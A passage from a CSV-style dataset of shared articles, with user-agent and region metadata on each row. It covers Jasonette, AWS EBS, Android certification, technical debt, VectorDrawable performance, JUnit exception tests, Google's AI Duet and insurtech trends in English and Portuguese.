unit Now that we understand how the top level view is structured, let's look at items . Each section is made up of multiple units of scrollable items . Note that each item has a fixed dimension and nothing inside the item itself scrolls. An item can be: Just a single component like a label , image , button , textarea , etc. A combination of all of those components Implementing this part was not as straight-forward as the sections implementation, because I had to choose a cross-platform, native, simple, and expressive way to form a super-sophisticated layout. Thankfully, iOS and Android have very similar native layout systems called UIStackView and LinearLayout , respectively. And these layout schemes in turn are similar to CSS Flexbox , so I would say it's as cross-platform as it can get. Lastly, these layout systems are infinitely composable. As seen below, you can create a vertical layout, a horizontal layout, or nest a vertical layout within a horizontal layout, and so forth, recursively. To create a vertical layout, you would set the type as vertical , and then set its components : Same thing with horizontal layout. Just set the type as horizontal instead: Nesting layouts is as simple as specifying a layout as another layout's component. I have not talked about the styling feature here for the sake of brevity, but you can style each individual component as well as the layout itself to make sure the layout looks exactly like you wanted. All you need to do is add style objects describing font , size , width , height , color , background , corner_radius , opacity , etc. 3. Layers - AKA ""absolute positioning"" Sometimes you may want to position items at exactly certain parts of the screen without scrolling. In CSS-terms we would call this ""absolute positioning"" . Jasonette supports this through what's called layers . Currently layer supports two types of child components: image and label . You can place these components anywhere you desire on the screen this way. Here's an example: In this example, we have two labels (the temperature and the weather messages) and an image (the camera icon) on the screen, whose coordinates have been explicitly set to make sure they stay in place without scrolling. The markup would look something like this: Amazingly enough, this is all you need to know in order to build any kind of sophisticated view you can imagine on mobile devices. Just like you can build anything with simple lego blocks, you can compose these basic components and layouts in different ways to create any sophisticated view. Here are some examples, 100% built by composing aforementioned UI elements: Beyond Views If you read this far, you may be either thinking: ""Wow cool! I wanna try this!"", or ""Yeah you can probably build a toy app, but no way you can build a production app using this way!"" Like I briefly mentioned above, this is just the ""View"" part of Jasonette, which is the simplest part. But what's really powerful about Jasonette is that you can actually go much further and write a full declarative program in JSON . You can attach actions to UI elements, which get triggered when a user touches them. You can also trigger these actions one after another via success/error callbacks. You can also listen to certain events and automatically trigger these actions. Just like this, when you can describe not just a ""View"" but also the ""Model"" and the ""Controller"" logic (all in JSON), you can do anything . What is possible? Since all you need is a server that sends JSON, Jasonette is completely platform agnostic. There is no proprietary server technology you need to depend on. All you need is JSON. And JSON can come from anywhere, from local device, to remote servers, to even a raspberry pi ! Have a web app? : If you already have a web app, you can instantly build a mobile native app for your Node.js app, Rails app, Django app, PHP app, or really any web app, justby making requests to your API endpoint. You don't even need a server : Since you can fit an entire model-view-controller in a single, self-contained JSON file, you can pretty much store and serve it from anywhere. You can even create an app from a static JSON file served from a Pastebin or Github! Turn any HTML website into an app : Jasonette has a powerful HTML-to-JSON parser powered by the cheerio library which lets you transform any HTML into a JSON object. And you already know what we can do when we have JSON - you can build a native view from the transformed JSON! This way, you can build a native app from a website that doesn't even have an API. Of course, the recommended way is to use JSON whenever you can, but this is really cool regardless. I can go on forever, but here are some examples: A photo sharing app that lets you take a photo using the device camera and upload it to S3, and then post the entry to your own server, creating a feed: A Node.js powered Eliza Chatbot app for iOS and Android: A Microblog app , complete with session management: An example app that turns an HTML web page into JSON and then turns it into a native app: Conclusion Jasonette is a young project. I open-sourced the iOS version in late 2016, and the Android version a month later. But it has already grown into a vibrant community of contributors and makers and is under active development. I hope this technology will empower anyone (not just developers) to build apps effortlessly. Sounds good? Check out the website here . Last but not least, you can find the Github repositories here: iOS and Android ( Contributions super-welcome! )",en
1487353335,CONTENT SHARED,-5160830061297425098,-3203894957285229214,-6451643644744208210,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36",ON,CA,HTML,https://aws.amazon.com/blogs/aws/amazon-ebs-update-new-elastic-volumes-change-everything/,Amazon EBS Update - New Elastic Volumes Change Everything | AWS Blog,"It is always interesting to speak with our customers and to learn how the dynamic nature of their business and their applications drives their block storage requirements. These needs change over time, creating the need to modify existing volumes to add capacity or to change performance characteristics.",en
1487596721,CONTENT SHARED,7021353262177009708,3609194402293569455,-2941135241517914970,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36",SP,BR,HTML,https://startupi.com.br/2017/02/udacity-abre-codigo-de-simulador-de-carro-autonomo-para-quem-quiser-testar/,Udacity abre código de simulador de carro autônomo para quem quiser testar,"Várias empresas automotivas já estão desenvolvendo o carro que dirige sozinho. Em breve, ele estará dividindo espaços com os outros carros nas ruas das cidades. No entanto, enquanto isso não acontece, é possível simular a condução desses carros autônomos virtualmente. A Udacity, conhecida como a Universidade do Vale do Silício, está disponibilizando seu simulador de carro autônomo via código aberto. Isso permite que qualquer pessoa com um conhecimento prático dos ativos do Unity (conjunto de ferramentas que possibilita o desenvolvimento de aplicações 3D e jogos digitais ) possa carregar suas cenas preexistentes e criar suas próprias trilhas para testes virtuais. ""Estamos possibilitando que mais pessoas consigam participar de uma grande mudança na área automotiva"", afirma Carlos Souza, diretor-geral da Udacity para América Latina. O valor para construir um veículo autônomo de teste real ainda é bastante alto, além de ser difícil encontrar locais que possibilitam a realização desses testes. ""São fatores que prejudicam quem trabalha de forma independente e para as empresas que estão começando"", completa o executivo. Ele explica que a abertura do código vem para ajudar cada vez mais na aprimoração desses desenvolvedores. A Udacity lançou recentemente seu Nanodegree (termo utilizado para os cursos da Udacity) de Engenheiro de Carro Autônomo . Todo o aprendizado acontece online e já existem brasileiros nas primeiras turmas . A aplicação para as turmas de 2017 está disponível no site. Este Nanodegree foi desenvolvido em parceria com grandes empresas como Mercedes Benz, McLaren, Otto e Nvidia. Além disso, os alunos terão como um dos instrutores Sebastian Thrun, uma das maiores autoridades em robótica do mundo. Ele é cofundador do Google X e desenvolveu o carro autônomo do Google.",pt
1487597538,CONTENT SHARED,-6872546942144599345,-1393866732742189886,-6350745898785551312,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36",MG,BR,HTML,https://medium.com/@husayn.hakeem/my-experience-with-googles-associate-android-developer-certification-40b34b27ebc7,My experience with Google's Associate Android Developer Certification,"In this article I talk about my personal experience through the Google Android Certification exams. I'm expressing my opinion, don't take it for facts. Also, any information given here about the Google Android Certification is also available in more details on its official website . On the new year's eve, I decided to take the Google Android Certification. It was an abrupt decision, and frankly speaking I didn't know what to expect, even though my interest for android development had began 2 years prior to this, I had only just started working professionaly as an android developer 4 months prior to making this decision. Before doing so, I did a bit of research online, read about the certification on its officiel web site and forums and discussed it a bit with my team lead at work. About the Google Android Certification The Google Android Certification covers the following sections: Testing and debugging Application User Interface (UI) and User Experience (UX) Fundamental Application Components Persistent Data Storage Enhanced System Integration So basically a candidate taking this certification is expected to have an understanding of the full lifecycle of Android applications development, from clearly defining and understanding the app's main functionalities, to designing and developing UX friendly interfaces, passing by being able to debug the app during its development process, and finally to testing the app. The applicant is also expected to have a minimum knowledge of data persistance, Android's 4 main application components (Activity, Service, etc) and when & how to use them, and finally how to manage app notifications and widgets. The certification exam is divided into two main parts: The programming phase and the interview phase . The programming phase is to be completed and submitted within 48 hours after starting it. I had read on a couple of forums that it shouldn't take more than 1 day to complete it, personally I was able to complete it in about 4 hours, while taking my time and taking one pause. The interview phase was also fun, I was asked a couple of questions to which I felt I answered quite good. The durations between the phases of the certification, their results and receiving the digital badge aren't long at all, from what I had read on a couple of forums I got the impression that the process would take forever, but to my surprise it was quite rapid and smooth, and the response from the support team was quite fast, they got back to me a couple of hours after I had sent them some remarks regarding the first exam. So all in all, was it worth it? I'd definitely yes, for the following reasons: As a fresh graduate and working as a junior Android developer, the certification definitely made me look more ""mature"" to recruiters, especially that it is provided by Google, which gives it, if anything, more authenticity and credibility. Being certified guarantees and testifies that I have -at the least- moderate skills in the basics of Android development. The exams aren't difficult at all (they weren't for me at least), but it's a great way to expose your android coding skills and put them to the test. The experience was fun, I didn't know what to expect before taking the certification, so I was expecting the process to be a bit stressful, but it wasn't at all, I really enjoyed both phases of the certification. During the first phase of programming, I encountered a malfunction in the provided starter code. I'm not sure whether this was done intentionally or not, but I was able to find it, fix it and report it to the appropriate team. Proving again that your skills are put to the test during the exam. The certification isn't expensive at all, at the time I took it it was $100. What I didn't appreciate? I wouldn't go as far as to say that there are things I didn't like in the certification process, but I think a couple of things can definitely be improved. I wish there were different Android certifications with different levels of difficulty. This would be more interesting as it would put one's skills to the test in a more challenging way. It would be better if the Android certification test (at least the first phase of coding) was done in designated exam centers preferably without internet access, making it impossible for candidates to copy code off the internet and forcing them to rely solely on their skills. So, to sum up? To sum up, I'd say that my experience taking the Google Android Certification was quite a good one, if you're thinking of taking it I'd say go for it! Especially if you're a novice to android development. If on the other hand you're been into Android app development for a while (a couple of years for example), I think your experience and apps you've worked on would speak louder for your skills than the certification would.",en
1487601781,CONTENT SHARED,-5605799891597699962,-7410485589492665094,7463073430234613325,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36",MG,BR,HTML,https://philippe.kruchten.com/2017/02/14/concrete-things-you-can-do-about-your-technical-debt/,Concrete things you can do about your technical debt,"""Technical debt, yes we have some of this, but what can we do...?"" Here's a few ideas to get you started: Organize a lunch-and-learn with your team to introduce the concept of technical debt. Illustrate it with examples from your own projects, if possible. Create a category ""TechDebt"" in your issue tracking system, distinct from defects, or new features. Point at the specific artifacts involved. Standardize on one single form of ""Fix me"" or ""Fix me later"" comment in the source code to mark places that should be revised and improved later. They will be easier to spot with a tool. Acquire and deploy in your development environment a static code analyser to detect code-level ""code smells"". (Do not panic in front of the large number of positive warnings). Prioritize technical debt items to fix or refactor, by doing them first in the parts of your code that are the most actively modified, leaving aside or for later the parts that are never touched. Organize small 1-hour brainstorming sessions around the question: ""What design decision did we make in the past that we regret now because it is costing us much?"" or ""If we had to do it again, what should have we done?"" This is not a blame game, or a whining session; just identify high level structural issues, the key design decisions from the past that have turned to technical debt today. For identified tech debt items, give not only estimates of the cost to ""reimburse"" them or refactor them (in staff effort), but also estimate of the cost to not reimburse them: how much it drags the progress now. At least describe qualitatively the impact on productivity or quality. This can be assisted by tools from your development environment, to look at code churn, and effort spent. At each development cycle, try to constantly reduce some of the technical debt by explicitly bringing some tech debt items into your iteration or sprint backlog. Refine in your issue tracker the TechDebt category into at least 2 subcategories: simple , localized, code-level debt, and wide ranging, structural or architectural debt. For your major kinds of technical debt, identify the root cause -schedule pressure, process or lack of process, people availability or turn over, knowledge or lack of knowledge, tool or lack of tool, change of strategy or objectives- and plan specific actions to address these root causes, or mitigate their effect. Acquire and deploy a tool that will give you hints about structural issues in your code: dependency analysis. Develop an approach for systematic regression testing, so that fixing technical debt items does not run you in the risk of breaking the code. (Counter the ""It is not really broken, so I won't fix it."") If you are actively managing risks, consider bringing some major tech debt items in your list of risks. More advice here: Ambler, S. (2017). 11 Strategies for Dealing With Technical Debt , Blog entry at",en
1487608017,CONTENT SHARED,7631327570702153011,3302556033962996625,2863165998245027705,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36",SP,BR,HTML,https://medium.com/upday-devs/optimizing-the-performance-of-vector-drawables-680a4c456286,Optimizing the Performance of Vector Drawables - upday devs,"While some mobile platforms have been supporting vector graphics for a while, Android only began doing this natively starting with API Level 21 and with the help of the Support Library 23.2.0 for pre-Lollipop devices. By replacing you PNG image resources with VectorDrawables, your APK size decreases considerably and most of all, your images look good, independent of the used device resolution. The system will try to redraw your Activity every 16ms so it can reach the 60fps target. So this means that the duration of every onDraw method is extremely important. When used incorrectly, VectorDrawables can affect the performance of your app, because the drawing can take a long time. Here is how VectorDrawables work to ensure that you are really improving the performance of your app, with the help of VectorDrawables. Understanding The Internals Of VectorDrawables Vector graphics use geometrical shapes to describe graphical elements. The vector graphics are rendered at runtime. The automatic rendering at pixel density gives smoothness to the graphics, regardless of the device capabilities. So your images won't be downscaled or upscaled, looking stretched or pixelated but they will be always perfectly drawn for your screen size. Vector drawables allow the representation of images (e.g. icons, UI elements) based on XML vector graphics. Using vector data instead of raster image data, the number and the size of resources added to the project decreases, since now only one resource per resolution is needed, and therefore also the APK size. Although the XML file containing the vector drawable is usually smaller than the PNG version, the vector drawables come with a computational overhead at runtime, which may be an issue for more complex graphical elements. When vector drawables are drawn for the first time, a cached bitmap is created in order to optimize the re-drawing performance. This cache is re-used as long as the width and the height of the image that needs to be drawn is the same. If a VectorDrawable is used for multiple sizes, a new Bitmap will be created every time. Compared to raster images, drawing VectorDrawables will take more time for the first rendering. But then, as long as the size of the image doesn't change, the next drawings of VectorDrawables will take a similar amount of time to drawing raster images. Multiple Sizes, Multiple Renderings Let's say that you need to display an image that needs to fill the height of the screen but keep the aspect ratio when rotating the device from portrait to landscape. So the size of the image is different from portrait to landscape. VectorDrawables use a Bitmap cache that gets recreated when the size changes , so in our case, when you rotate your device from portrait to landscape. After the first rendering, the cached bitmap will be used. This means that you end up spending a lot of time on the first rendering of the VectorDrawable, at every rotation of the screen. But, if the image that you are drawing is the same size, both in portrait and in landscape, then the bitmap cache will not be invalidated and it will be reused. Let's test this! Test 1: The size of the view changes when changing the orientation from 1440x2240px in portrait to 2560x1152px in landscape. When rotating the device, drawing the vector drawable takes, in average, 15.50ms in portrait and 7.80ms in landscape, where the view is smaller. Test 2: The image size doesn't change with rotation, it's always 800x800px. We can see that drawing the vector drawable takes 7.50ms the first time - afterwards, drawing time is reduced to 0.15ms. Test 3: Using two different resources for portrait and for landscape, even if they are the same size. The images will take longer to render every time you rotate the device. Maximum VectorDrawable Size Recommended Since the vector graphics are rendered at runtime, on the CPU, the initial loading and drawing of a VectorDrawable will be slower. This is why Google recommends using them for images of maximum 200 x 200 dp . We are curious developers here at upday so we wanted to see some numbers. What exactly does ""slower"" mean and what's the difference between drawing a vector drawable and a PNG? Given how much #PERFMATTERS we need to make sure that we won't end up with a smaller APK but with a slower app. Test 1: We set the image to match the size of the screen: 1440x1960px . The vector drawable took, in average, 16.60ms to draw, the PNG 0.180ms. Test 2: We set the image to the maximum recommended: 200x200dp so, 800x800px . The vector drawable took 3.40ms to draw, the PNG 0.060ms. The difference in rendering time is considerable. Do You Really Need a VectorDrawable? Can you replace the vector graphic with a shape ? Shapes are rendered much faster than VectorDrawables and raster images. Can you simplify the image? Does that image that you're about to import contains a path just for the background, for example? Then maybe you can just set a background color to the ImageView that will contain the VectorDrawable. Can you split the image into smaller parts and maybe replace some of those parts with shapes? Is your VectorDrawable really complex, big, and with complicated paths? Then it's just better to use a raster image . The size of the APK will grow, but the performance of your app won't be decreased by the VectorDrawable render time. Instead of using PNG files, start using WebP images . The quality is similar to the PNGs but the size of the image is reduced. The VectorDrawable rendering duration is influenced by the size of the image, and by its complexity . If the drawable contains complicated paths then it will take longer to draw. So, before you import a new SVG in Android Studio keep in mind the following things: How We Tested To measure the rendering performance, we created a MeasurableImageView class that extends ImageView . We've overrode the onDraw() method to compute how long the super.onDraw() takes. We used a Samsung Galaxy S7 as a test device. We ran the app several times, computing an average of the values for different scenarios. 1. Using System.nanoTime() Before and after the ImageView.onDraw method call, we got the system time. Then, we just deducted the start time from the end time, to get the duration. 2. Using TraceView Hoping to get clearer results, we decided to use TraceView. We called Debug.startMethodTracing before the super.onDraw and stopped the tracing with Debug.stopMethodTracing immediately after. Then we analyzed the generated traces, looking at the execution time of VectorDrawable.draw and BitmapDrawable.draw methods. Note: keep in mind that you won't get exactly the same values, every time when your image is rendered. You should use these numbers just as general reference points. If you're close to 16ms, then it's really necessary to optimize the performance! The rendering duration depends also on the power of your CPU, so make sure you check the mostly used devices by your users. Conclusion VectorDrawables are the best way of minimizing the number of image resources and reducing your APK size. But before you start replacing all your PNGs, keep in mind that the first time the image is drawn, it will take longer, if the size of the image is different, between portrait and landscape. Use VectorDrawables mostly for icons and other images that are max 200x200dp, only when using shapes is not possible. If your image is very complex, consider WebP images. Check out the project used for testing VectorDrawables in this GitHub repo . If you want to learn more about VectorDrawables, here are some interesting resources: Adding multi-density vector graphics in Android Studio How VectorDrawable works Vector drawables and AppCompat Colt McAnlis's talk on image compression at Google I/O 2016",en
1487608245,CONTENT SHARED,-7264217791213422584,6013226412048763966,7817933231113759598,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36",SP,BR,HTML,http://vocerh.uol.com.br/noticias/legislacao/qual-e-o-valor-da-area-de-t.phtml,Qual é o valor da área de T&D na sua empresa?,"É fundamental que o departamento de Recursos Humanos das companhias se mantenha atento às melhores práticas, os indicadores de gestão e as tendências da área de T&D Fernando Cardoso* Treinar uma equipe sem um planejamento prévio é um dos caminhos para o desperdício de recursos | Crédito: Pixabay É impossível cobrar performance de um funcionário sem investir na qualificação dele. Em geral, a ação de treinar e desenvolver as habilidades técnicas e comportamentais de um profissional tende a trazer ganhos para todos os envolvidos: enquanto o funcionário se sente valorizado pela companhia, a empresa ganha em qualidade, produtividade e capacidade competitiva. A ação de capacitar funcionários deve ser enxergada pelas companhias como estratégica em todos os momentos da economia de um país. Em períodos de mercado aquecido, ter uma equipe engajada tende a se reverter em aumento da produtividade e, consequentemente, do faturamento da companhia. Já em períodos desafiadores, a necessidade está em garantir o perfil inovador para atrair a atenção dos clientes diante da concorrência acirrada. A boa notícia é que grandes companhias do País têm demonstrado amadurecimento quanto a essa nova realidade do mercado. Prova disso são os dados do estudo ""Panorama do Treinamento no Brasil"", produzido pela ABTD, em parceria com a Integração Escola de Negócios, que aponta o aumento da carga horária destinada à capacitação de profissionais no Brasil: subiu de 16,6 horas por funcionário, em 2015; para 22 horas, em 2016. Vejo esse resultado como animador, pois somente o desenvolvimento das lideranças e dos funcionários fará com que as empresas estejam preparadas para enfrentar as possíveis oscilações do mercado. Então, é fundamental que o departamento de Recursos Humanos das companhias se mantenha atento às melhores práticas, os indicadores de gestão e as tendências da área de T&D. Ressalto, porém, que treinar uma equipe sem um planejamento prévio é um dos caminhos para o desperdício de recursos. É preciso realizar um mapeamento do público-alvo, incluindo necessidades, preferências e localização geográfica, além dos objetivos da ação e das soluções possíveis e disponíveis para a transmissão do aprendizado. No Brasil, por exemplo, a modalidade presencial é a mais utilizada, seguida de atividades práticas no local de trabalho, do e-learning e do ""blended"", que mescla EAD e atividades em sala de aula. Por mais moderna e tecnológica que uma empresa possa ser ou parecer, ela precisa de seres humanos preparados, motivados e engajados, se quiser ter um futuro de sucesso. Então, não permita que a área de T&D da sua companhia se retraia de acordo com o humor da economia. Estruture um bom planejamento que lhe permita investir na eficiência dos seus funcionários à frente de suas funções em todas as épocas do ano. * Este artigo é de autoria de Fernando Cardoso, sócio-diretor da Integração Escola de Negócios, e não representa necessariamente a opinião da revista",pt
1487608319,CONTENT SHARED,-2402288292108892893,-4465926797008424436,-8412615285329455721,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.54 Safari/537.36",SP,BR,HTML,http://www.codeatest.com/como-testar-excecoes-em-java-junit/,Como testar exceções em Java com o JUnit - Code a Test,"Introdução Neste post vou mostrar de forma sucinta e prática como testar exceções em Java, utilizando o framework JUnit 4. Vou demonstrar 3 formas de escrever testes unitários que verificam o comportamento de exceções. Nossa classe para ser testada As 3 formas de se testar exceções em Java serão feitas em cima da classe mostrada abaixo. O código é simples. Faz a transferência de um valor entre uma conta origem e uma conta destino. Se o saldo da conta origem não for suficiente para a realização da transferência, uma exceção será lançada. Abaixo o código da exceção. Vamos aos testes. Como testar exceções em Java #1: @Test(expected=...) O JUnit 4 permite definirmos, opcionalmente, como argumento da anotação @Test o expected . O expected nos permite especificar uma exceção que esperamos que seja lançada pelo código sendo testado. O teste só tem sucesso se a exceção for lançada, caso contrário temos uma falha. O exemplo abaixo mostra o código de teste com o expected . O código de teste acima deve lançar uma exceção, pois o valor que desejamos transferir - 2000 - é maior que o saldo da conta origem: 1500. O argumento expected=SaldoInsuficienteException.class diz ao JUnit que esperamos que o teste ao executar lance uma exceção do tipo SaldoInsuficienteException . Veja que não precisamos fazer asserções nesse código; o argumento expected de @Test faz esse papel. Embora o teste anterior seja legal e bastante conciso, ele não atende a um ponto: e se quisermos verificar a mensagem que foi lançada? Nesse caso, vamos ter que usar uma abordagem diferente. Vamos a ela. Como testar exceções em Java #2: blocos try {} catch() Uma outra forma de como testar exceções em Java é utilizando um bloco try{} catch . Essa forma era bastante utilizada no JUnit 3, antes de aparecer a funcionalidade @Test(expected=...) . Embora essa forma de se testar exceções não seja mais tão utilizada, ela ainda é útil quando queremos verificar a mensagem de detalhe da exceção disparada. Isso ocorre, por exemplo, se a mensagem da exceção vai ser exibida na camada de apresentação para o usuário. Nesse caso, é legal validarmos se a mensagem é aquela que esperamos. Vamos ao código de teste com try{} catch() . A preparação e a condição de falha é a mesma do teste anterior. A diferença está na forma que verificamos a ocorrência da exceção. Veja as duas linhas em destaque: A primeira contém o Assert.fail() ; se o código de teste executar essa linha, indica que ele falhou, pois, o teste deveria lançar uma exceção; É no catch() que esperamos que a execução do teste vá. Na segunda linha em destaque, utilizamos o assertEquals para verificar se a mensagem da exceção ( ex.getMessage() ) é a que esperamos. Esse código atende muito bem nossas expectativas. Mas não sei o que vocês acham, mas na minha opinião não é muito elegante utilizar try {} catch() para testar a ocorrência de uma exceção e validar sua mensagem. Pois bem. O JUnit 4 tem uma forma mais elegante de resolver isso. Como testar exceções em Java #3: @Rule e ExpectedException O Junit 4.7 introduziu o conceito de Rules . As Rules , de maneira geral, permitem adicionar comportamentos que serão executados antes e depois de cada método de teste. O JUnit já vem com algumas test rules predefinidas e permite, também, criarmos as nossas próprias Rules . Uma das test rules oferecidas pelo JUnit é a ExpectedException . É ela que vamos usar em nosso próximo exemplo. Vamos mostrar o código. Uma ExpectedException é uma rule que nos permite verificar se o nosso código lança uma determinada exceção. As linhas em destaque no trecho de código anterior fazem uso dessa rule : As duas primeiras linhas destacadas mostram a declaração da rule . Para isso, utilizamos a anotação @Rule e a classe ExpectedException . Como se pode ver, a varíavel excecaoEsperada é inicializada com o o valor ExpectedException.none() ; essa inicialização é para informar que, por padrão, nenhuma exceção é esperada. A próxima linha em destaque - excecaoEsperada.expect() - modifica o comportamento padrão definido anteriormente, informando qual o tipo de exceção esperamos: SaldoInsuficienteException ; A última linha destacada nos permite verificar a mensagem da exceção ( excecaoEsperada.expectMessage ). Cabe ressaltar algumas coisas sobre os test rules (variáveis anotadas com @Rule ) para que elas funcionem adequadamente: A variável deve ser pública; A variável não pode ser estática ( static ); A variável deve ser um subtipo de TestRule . Se quiser saber um pouco mais sobre as test rules recomendo a leitura do excelente artigo Testes isolados com jUnit Rules do Rafael Ponte. Conclusão Apresentei, neste post, 3 formas diferentes de como testar exceções em Java utilizando o framework JUnit. Eu, pessoalmente gosto da primeira e terceira formas, pois o código fica mais limpo com as mesmas. Utilizo a primeira quando não preciso verificar a mensagem da exceção. A última, por sua vez, utilizo quando preciso garantir que a mensagem de exceção é a esperada. Todo o código desse post pode ser encontrado nesse link do meu GitHub . Abraços e até a próxima.",pt
1487616054,CONTENT SHARED,-624901815223005993,3609194402293569455,-2941135241517914970,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36",SP,BR,HTML,https://googlediscovery.com/2017/02/20/i-duet-crie-melodias-usando-o-aprendizado-de-maquina-do-google/,"A.I. Duet, crie melodias usando o aprendizado de máquina do Google | Google Discovery","O Google lançou o AI Duet , um novo experimento de inteligência artificial que permite tirar proveito da tecnologia de aprendizagem da máquina. Por meio do serviço é possível reproduzir melodias no teclado do computador (ou por meio de um teclado MIDI com suporte a plug and play) e o computador tentará reproduzir um dueto automaticamente. ""Basta tocar algumas notas e o computador responderá à sua melodia. Você nem precisa saber tocar piano - é divertido pressionar apenas algumas teclas e ouvir o som de volta"", publicou o Google. ""Seja você desenvolvedor ou músico, ou apenas curioso - imagine como a tecnologia pode ajudar as ideias criativas a ganhar vida"". é bacharel em administração de empresas e fundador da FragaNet Networks - empresa especializada em comunicação digital e mídias sociais. Em seu portfólio estão projetos como: Google Discovery, TechCult, AutoBlog e Arquivo UFO. Também foi colunista de tecnologia no TechTudo, da Globo.com.",pt
1487681005,CONTENT SHARED,-6340141548068597572,-1393866732742189886,7540353649241449090,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36",MG,BR,HTML,http://insurancethoughtleadership.com/top-10-insurtech-trends-for-2017/,Top 10 Insurtech Trends for 2017 - Insurance Thought Leadership,"Summary: This list isn't just about what is new and innovative. It is about what will be adopted at scale. The beginning of a new year is usually the time to predict key trends for the year to come, and so it goes with the insurtech sector as well. Most lists focus on the latest sexy technologies and applications. But, after a year, we find these have hardly gained any traction and so cannot really be considered ""trends"" in our view. To call something a key trend, new and innovative is not enough. It requires adoption at scale. We, therefore, decided to take a different approach, resulting in quite a different kind of list. Being consultants for several blue chip insurers, speaking at conferences and attending boardroom meetings, we meet insurance executives on a daily basis. Consequently we have a fairly good idea about what's at the top of their agenda as well as the pace in which change will take place, and in turn what insurtech solutions are most likely to fit into those plans. These insights resulted in our Top 10 Insurtech Trends for 2017, illustrated by some awesome insurtechs that joined us at the previous DIA event. Trend 1. Massive cost savers in claims, operations and customer acquisition Already a major trend, of course, but one that will gain even more importance in 2017. Quite a few insurers face combined ratios that are close to 100, or even exceed that number. Digitizing current processes is absolutely necessary, for operational excellence and to cut costs. Digital transformation of insurance carriers started in 2015, really took off in 2016 and will be mainstream by 2017 and beyond. Virtually every insurer, big or small, that takes itself seriously will continue to look for ways to operate more efficiently in every major part of the costs column: in claims expenses, costs of operations and customer acquisition costs. Technology purchases and investments by insurance carriers will further explode in these areas, as will the number and growth of insurtechs that cater to that need. With OutShared's CynoClaim solution more than 60% of all claims can be managed automatically, resulting in lower costs as well as increased customer satisfaction. Results of the first implementations: as much as 50% decrease in costs, 40% increase in customer satisfaction. The solution takes six to nine months to implement, whether it is from scratch or a migration of established operations to the platform, which is quite spectacular in the insurance industry. Check this out. See also: How Insurtechs Will Affect Agents in 2017 Trend 2. A new face on digital transformation: engagement innovation At the end of the day, digitized processes and a lower cost base are table stakes. It is simply not enough to stay in sync with fast changing customer behavior, new market dynamics and increasing competitiveness. No insurer ever succeeded in turning operational excellence into a competitive advantage that is sustainable over the long term. More and more carriers realize that engagement innovation is the next level of digital transformation. From a customer point of view, this is not about a new lipstick or a nose job but about a real makeover. Engagement innovation not only includes customer experience, but customer-centric products, new added value services and new business models, as well. Insurtechs that really innovate customer engagement for incumbents have a great 2017 ahead. Amodo connects insurance companies with the new generation of customers. With Amodo's connected customer suite, insurers leverage on digital channels and connected devices such as smartphones, connected cars and wearables to acquire and engage new customers. Amodo collects data from smartphones and a number of different connected consumer devices to build holistic customer profiles, providing better insights into customer risk exposure and customer product needs. Following the analysis, risk prevention programs, individual pricing as well as personalized and ""on the spot"" insurance products can be placed on the market, increasing the customer's loyalty and lifetime value. Trend 3. Next-level data analytics capabilities and AI, to really unlock the potential of IoT Many insurance carriers have started IoT initiatives in the last few years. In particular, in car insurance it is already becoming mainstream, with Italy leading the pack. Home insurance is lagging, and health and life insurance is even more behind. All pilots and experiments have taught insurers that they lack the right data management capabilities to cope with all these new data streams - not just to deal with the volume and new data sets, but more importantly to turn this data into new insights, and to turn these insights into relevant and distinctive value propositions and customer engagement. Insurtechs that operate in the advanced analytics space, machine learning and artificial intelligence hold the keys to unlock the potential of IoT. 2016 DIAmond Award winner BigML has built a machine-learning platform that democratizes advanced analytics for companies of all sizes. You don't have to be a PhD to use its collection of scalable and proven algorithms thanks to an intuitive web interface and end-to-end automation. Check this out. Trend 4. Addressing the privacy concerns To many consumers, big data equals big brother, and insurers that think of using personal data are not immediately trusted. Quite understandable. Most data initiatives of insurers are about sophisticated pricing and risk reduction really. Cost savers for the insurer. However, the added value of current initiatives for customers is limited. A chance on a lower premium, that's it. To really reap the benefits of connected devices and the data that comes with it, insurers need to tackle these data privacy concerns. On the one hand, insurers need to give more than they take. Much more added value, relative to the personal data used. On the other hand, insurers need to empower customers to manage their own data. Because at the end of the day, it is their data. Expect fast growth of insurtechs that help insurers to cope with privacy issues. Traity (another 2016 DIAmond Award winner) enables consumers to own their own reputation. Traity uses all sorts of new data sources, such as Facebook, AirBnB and Linkedin, to help customers to prove their trustworthiness. Munich Re's legal protection brand DAS has partnered with Traity to offer new kinds of services. Check this out. See also: 10 Predictions for Insurtech in 2017 Trend 5. Contextual pull platforms Markets have shifted from push to pull. But so far most insurers have made hardly any adjustments to their customer engagement strategies and required capabilities. In 2017, we will see the shift to pull platforms, as part of the shift to engagement innovation. Whereas push is about force-feeding products to the customer, pull is about understanding and solving the need behind the insurance solution and being present in that context. Risk considerations made by customers usually don't take place at the office of an insurance broker. Insurers need to be present in the context of daily life, specific life events and decisions, and offer new services on top of the traditional products. Insurtechs that provide a platform or give access to these broader contexts and ecosystems help insurers to become much more a part of customers' lives, be part of the ecosystem in that context and add much more value to customers. VitalHealth Software, founded among others by Mayo Clinic, has developed e-health solutions, in particular for people with chronic diseases such as diabetes, cancer and Alzheimer's. Features include all sorts of remote services for patients, insurers and care providers collaborating in health networks, access to protocol-driven disease management support. All seamlessly integrated with electronic health records. VitalHealth Software is used by insurers that are looking to improve care as well as reduce costs. Among other OSDE, the largest health insurer in Argentina and Chunyu Yisheng Mobile Health, a fast-growing Chinese eHealth pioneer with around 100 million registered users that is closely linked to People's Insurance Company of China (PICC). Trend 6. The marketplace model will find its way to insurance Marketplaces: We already see the model emerging in banking, and insurance will 